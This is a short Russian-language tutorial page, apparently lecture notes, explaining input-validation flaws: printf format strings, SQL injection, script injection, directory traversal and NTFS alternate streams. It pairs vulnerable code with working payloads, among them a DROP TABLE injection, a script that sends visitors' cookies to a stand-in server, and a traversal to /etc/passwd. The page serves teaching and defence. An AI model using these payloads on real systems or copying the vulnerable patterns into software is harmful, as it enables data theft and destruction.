Система Orphus

Атаки на ошибки контроля данных, примеры с printf, HTML+HTTP+SQL, HTTP+HTML+JavaScript. Directory traversal, альтернативные имена файлов в NTFS.

Пример printf (неконтролируемая строка):
void someFn(char *userInput){
   printf(userInput);
}
вместо
void someFn(char *userInput){
   printf("%s", userInput);
}
В итоге, если в строку вписать %x - вывод значений (dword) из стека, а %n - запись в память по адресу из стека

SQL - инъекция
statement = "SELECT * FROM users WHERE name='"+userName+"';";
если в userName = "' or '1'='1", то вернутся все строки. Или так:
userName= "';DROP table users; SELECT * FROM userinfo WHERE 't'='t";


Инъекция кода JS
Например, пользователь может ввести (например, в гостевую книгу) такой текст:
Just a message <script>
document.location="http://some_server/cookie.php?"+document.cookie
</script>
Если не раздумывая вставлять текст в страницу, то все люди будут перенаправляться на другой адрес, сливая все свои куки с исходного сайта.

Directory traversal
Выход за пределы папки:
<?php
$template = "red.php";
if (isset($_COOKIE["TEMPLATE"])){
   $template = $_COOKIE["TEMPLATE"];
}
include ("/home/users/php/templates/" . $template);
?>
Если передать в куках TEMPLATE = ../../../../../../../../../etc/passwd и вернет пароль от сервера.

Альтернативные имена файлов (потоки) NTFS
void process (char *filename){
   int cbName = strlen(filename);
   if (cbName>4 &&
      0 == strcmp(filename+cbName - 4, ".asp")){
      /* обрабатываем как скрипт */
   }else{
      /* обрабатываем как текстовый файл */
   }
}
Если имя файла заканчивается на :$DATA, то вернется текст скрипта, т.к. $DATA - это главный поток файла.
Система Orphus

Комментарии